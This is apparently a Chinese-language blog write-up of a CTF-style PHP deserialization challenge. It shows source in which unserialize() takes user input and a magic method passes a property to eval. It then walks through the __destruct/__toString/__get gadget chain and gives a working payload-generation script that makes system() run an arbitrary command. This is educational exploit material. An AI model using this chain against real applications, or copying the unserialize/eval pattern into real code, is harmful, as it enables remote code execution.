一个反序列化

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){
return $this->getshell($this->params);
}
public function getshell($value)
{
$this->params=str_replace(".","点",$this->params);
eval($this->params);
}
}
$a = $_GET['a'];
unserialize($a);
?>

分析

反序列化还是应该逆着看

先看函数str_replace

在PHP中,str_replace()函数是用于执行字符串的替换操作的内置函数。它可以在一个字符串中找到指定的子串,并将其替换为另一个指定的子串。

str_replace()函数的语法如下: str_replace($search, $replace, $subject)

参数说明:

  • $search:需要被替换的子串,可以是一个字符串或一个由多个字符串组成的数组。
  • $replace:替换后的子串,可以是一个字符串或一个由多个字符串组成的数组。如果 $search 是数组,那么 $replace 也必须是相应的数组。
  • $subject:原始字符串,需要进行替换操作的字符串。

str_replace()函数会在 $subject 字符串中查找 $search 中的子串,并将其替换为对应位置的 $replace 中的子串。它返回一个替换后的新字符串,原始字符串不会被更改。

看到魔术方法 __get

在PHP中,__get()是一个魔术方法,用于在访问一个对象的不存在或不可访问属性时触发。当我们尝试读取一个对象的不存在或不可访问属性时,就会自动调用__get()方法。

魔术方法: __toString() 在这里可以通过echo来触发,因此可以构造出

1
2
3
$a=new Hello();
$a->str=new Show();

这段代码成功进入了Show类中,然后我们需要在show类中进入Uwant类

那么该如何进入Uwant并且触发魔术方法 __get

1
$content = $this->str['str']->source;

这行代码的作用是将对象的 str 属性中键为 'str' 的值的 source 属性的值赋给变量 $content

那么我可以在此中构造出调用Uwant类中的source来给$content赋值,但是Uwant中并没有source,这样就可以成功触发get

构造如下:

1
$a->str->str['str']=new Uwant();

步骤总结

我们需要从hello 到 show 到 uwant。

序列化一个Hello类的对象,利用Hello类中的echo来触发Show类中的__toString(),

再利用赋值语句,来进入Uwant类并触发__get

构造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params="system("你想要执行的语句");";
}
$a = new Hello;
$a->str=new Show;
$a->str->str['str']=new Uwant;
echo serialize($a);
?>

知识点总结

1
2
3
4
__construct()       #当一个对象创建时触发     
__destruct() #当一个对象被销毁时触发
__toString() #把类当作字符串使用时触发
__get() #用于从不存在或不可访问的属性读取数据时
1
2
3
4
5
6
7
8
9
`str_replace()`函数的语法如下: str_replace($search, $replace, $subject)

参数说明:

- `$search`:需要被替换的子串,可以是一个字符串或一个由多个字符串组成的数组。
- `$replace`:替换后的子串,可以是一个字符串或一个由多个字符串组成的数组。如果 `$search` 是数组,那么 `$replace` 也必须是相应的数组。
- `$subject`:原始字符串,需要进行替换操作的字符串。

`str_replace()`函数会在 `$subject` 字符串中查找 `$search` 中的子串,并将其替换为对应位置的 `$replace` 中的子串。它返回一个替换后的新字符串,原始字符串不会被更改。
Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信